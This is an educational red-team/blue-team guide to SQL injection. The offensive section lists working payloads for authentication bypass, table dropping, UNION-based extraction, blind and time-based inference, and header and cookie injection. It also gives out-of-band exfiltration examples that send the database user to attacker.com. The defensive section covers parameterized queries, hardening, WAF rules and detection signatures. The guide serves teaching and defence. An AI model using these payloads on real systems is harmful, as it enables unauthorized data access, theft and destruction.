SQL Injection (SQLi)

What is SQL Injection?

SQL Injection is one of the most dangerous and widespread web application vulnerabilities. It arises when untrusted user input is directly embedded into SQL queries without proper sanitization, allowing attackers to modify the intended query behavior.

SQLi Impact Severity:

  • Unauthorized data access (PII, credentials, sensitive data)
  • Database modification or deletion
  • Authentication bypass
  • Remote code execution
  • Complete system compromise

Red Team Techniques (Offensive)

1. Basic SQL-Injection Testing

Classic SQL Injection occurs when unsanitized user input is directly inserted into an SQL query, allowing attackers to manipulate the query structure. This can result in unauthorized access, data leakage, or full database compromise. It's one of the earliest and most well-known web application vulnerabilities.

Common Payloads

' OR '1'='1
" OR "" = "
' OR 1=1--
'; DROP TABLE users--

Error-Based Detection

' AND 1=CONVERT(int, @@version)--
' AND 1=CONVERT(int, db_name())--

2. Union-Based SQL-Injection

UNION-Based SQL Injection leverages the SQL UNION operator to combine results from multiple queries into a single response. If the original query returns data that is shown on the page, the attacker can inject additional queries using UNION SELECT to retrieve sensitive information such as usernames, passwords, or version info.

Column Enumeration

ORDER BY 1-- 
ORDER BY 2--
...
ORDER BY 10--

Data Extraction

UNION SELECT 1,2,3,4--
UNION SELECT null,table_name,null FROM information_schema.tables--
UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--

3. Blind SQL-Injection

Blind Injection is a type of SQL Injection attack where the attacker cannot see the direct output of their payloads on the web page. Instead, they infer information from the behavior of the application—such as changes in page content, timing, or response codes—to extract data from the database. It's often used when error messages or query results are not visible to the attacker.

Boolean-Based

AND SUBSTRING((SELECT @@version),1,1)='M'
AND (SELECT COUNT(*) FROM users) > 10

Time-Based

MySQL: AND IF(1=1,SLEEP(5),0)
MSSQL: WAITFOR DELAY '0:0:5'
Oracle: AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)

4. SQL Injection via HTTP Headers

Some web applications improperly trust HTTP header values such as User-Agent, Referer, and X-Forwarded-For and include them directly in SQL queries without proper sanitization, leading to injection vulnerabilities.

Example: Malicious Header Injection

GET /profile HTTP/1.1
Host: vulnerable.com
User-Agent: ' OR 1=1--

Sample Payloads in Headers

X-Forwarded-For: 127.0.0.1' OR SLEEP(5)--
Referer: ' UNION SELECT username, password FROM users--

5. SQL Injection via Cookies

Cookies are client-controlled data sent with requests. If an application uses cookie values directly in SQL queries without proper sanitization, attackers can inject malicious SQL to exploit the database.

Example: Malicious Cookie Injection

Cookie: sessionId=xyz' OR '1'='1

Sample Payloads in Cookies

Cookie: authToken=abc' OR 'x'='x
Cookie: userPref=1'; DROP TABLE users--

6. Error-Based SQL Injection

Error-Based SQL Injection exploits the databases error messages to extract information. Attackers intentionally cause the database to produce errors that include valuable details such as table names, column names, or even data.

How It Works

By injecting malformed SQL syntax or using specific database functions that cause errors, attackers can view database error responses directly in the web application's output if error handling is insufficient.

Example: Forcing an Error to Leak Data

http://example.com/page.php?id=1' AND updatexml(null, concat(0x7e, (SELECT user())), null)--

This payload uses MySQLs updatexml() function to force an XML parsing error that leaks the database user.

Common Error-Based Payloads

' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))--
' AND updatexml(null,concat(0x7e,(SELECT version()),0x7e),null)--
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT @@version),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)--

7. Time-Based Blind SQL Injection

Time-Based Blind SQL Injection is used when an application does not return error messages or data directly, but the attacker can infer information by observing time delays in the application's response caused by specially crafted SQL queries.

How It Works

Attackers inject SQL that forces the database to wait (sleep) for a certain period if a condition is true. By measuring the time it takes for the server to respond, the attacker can infer whether the condition holds, gradually extracting data one bit at a time.

Common Time-Based Payloads

-- MySQL
?id=1 AND IF(SUBSTRING((SELECT database()),1,1)='a', SLEEP(5), 0)

-- Microsoft SQL Server
?id=1; IF (SUBSTRING((SELECT @@version),1,1)='M') WAITFOR DELAY '00:00:05'--

-- Oracle
?id=1 AND 1=(CASE WHEN (SUBSTR((SELECT user FROM dual),1,1)='A') THEN TO_CHAR(DBMS_LOCK.SLEEP(5)) ELSE 1 END)

Example

http://example.com/item?id=1 AND IF(SUBSTRING((SELECT user()),1,1)='r', SLEEP(5), 0)--

This payload checks if the first character of the database user is "r". If true, the server pauses for 5 seconds, indicating a positive result.

8. Out-of-Band (OOB) SQL Injection

Out-of-Band SQL Injection occurs when attackers use the database’s ability to make network requests to external servers to exfiltrate data or interact with external systems. This method is especially useful when the application does not directly return data or errors.

How It Works

The attacker injects payloads that cause the database to send DNS or HTTP requests to a server they control. By monitoring these requests, the attacker can extract information such as database names, user credentials, or other sensitive data.

Common OOB Techniques

  • DNS Exfiltration: Using database functions to trigger DNS lookups containing data encoded in subdomains.
  • HTTP Requests: Making HTTP requests to attacker-controlled servers via functions like xp_dirtree in MSSQL or UTL_HTTP.REQUEST in Oracle.

Example: MSSQL DNS Lookup

'; EXEC master..xp_dirtree '\attacker.com${user}\'--

This payload forces the database server to perform a DNS lookup to the attacker’s domain with the database user appended, leaking the user info externally.

Example: Oracle HTTP Request

'; BEGIN
  UTL_HTTP.REQUEST('http://attacker.com/' || (SELECT user FROM dual));
END;--

This triggers an HTTP request to the attacker’s server including the current database user.

SQL Injection Tools & Automation

Discovery & Scanning

  • sqlmap – Automated SQL injection and database takeover tool
  • Burp Suite Scanner – Active scanning and detection of SQLi
  • sqlninja – Exploitation tool for Microsoft SQL Server injection
  • Havij – User-friendly automated SQL injection tool
  • jSQL Injection – Lightweight SQLi detection and exploitation tool

Exploitation & Payload Generation

  • sqlmap – Supports automated payload generation and exploitation
  • sqlninja – Targeted exploitation for MSSQL
  • Havij – Automated extraction and payload crafting
  • Manual payload crafting with tools like Burp Repeater

Post-Exploitation & Reporting

  • sqlmap – Database takeover, file system access, command execution
  • Burp Suite Intruder – Custom payload fuzzing
  • Automated reporting and exporting of findings

Blue Team Defenses (Defensive)

1. Secure Coding

Parameterized Queries

// Python with psycopg2
cursor.execute("SELECT * FROM users WHERE email = %s", (email,))

// Java with PreparedStatement
PreparedStatement stmt = conn.prepareStatement(
  "SELECT * FROM users WHERE username = ?");
stmt.setString(1, username);

ORM Best Practices

# Django ORM (safe)
User.objects.raw('SELECT * FROM users WHERE username = %s', [username])

# Never do this (vulnerable)
User.objects.raw(f"SELECT * FROM users WHERE username = '{username}'")

2. Input Validation

Whitelisting

// Only allow alphanumeric for usernames
if (!username.matches("^[a-zA-Z0-9]+$")) {
  throw new ValidationException("Invalid username");
}

Type Safety

// For numeric IDs, parse early
int id = Integer.parseInt(request.getParameter("id"));
// This will throw NumberFormatException for SQLi attempts

3. Database Hardening

Least Privilege

  • READ ONLY for reporting
  • No DROP/CREATE for app users
  • Disable xp_cmdshell in MSSQL
  • Restrict FILE privilege in MySQL

Secure Configurations

  • Disable verbose errors
  • Use stored procedures carefully
  • Enable only needed DB functions

4. Runtime Protections

WAF Rules

  • Block common SQLi patterns
  • Rate limit parameter fuzzing
  • Virtual patching for known vulns

RASP

  • Runtime Application Self-Protection
  • Blocks malicious SQL at runtime
  • Provides attack telemetry

5. Monitoring & Response

Detection Signatures

  • UNION SELECT in queries
  • Multiple OR/AND conditions
  • SLEEP/WATTFOR commands
  • Information_schema access

Log Analysis

  • SIEM integration
  • Anomaly detection
  • Query timing analysis

Incident Response

  • Query kill switches
  • Automatic session termination
  • Forensic query logging

SQL Injection Mitigation Checklist

  • Use parameterized queries/prepared statements exclusively
  • Implement strict input validation (whitelisting preferred)
  • Apply principle of least privilege to database accounts
  • Disable verbose error messages in production
  • Regularly update database software and libraries
  • Implement WAF rules for SQLi patterns
  • Monitor for suspicious database activity
  • Conduct regular security testing and code reviews

Additional Resources & References

Legal Notice

This content is provided for educational purposes only. Never test security vulnerabilities against systems without explicit permission. Unauthorized testing may violate laws.